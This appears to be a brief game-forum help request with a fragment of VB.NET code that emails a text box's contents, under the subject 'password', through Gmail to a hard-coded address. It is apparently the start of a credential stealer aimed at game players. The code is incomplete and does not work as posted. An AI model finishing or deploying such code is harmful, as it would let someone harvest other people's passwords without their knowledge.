Coding help

Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("jimmydang44@gmail.com")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "password"
mail.Body = RichTextBox1.Text
SmtpServer.Send(mail)
End Sub

then it says smtpserver is unhanled when i debugg plz help

Nice but this is a combat arms section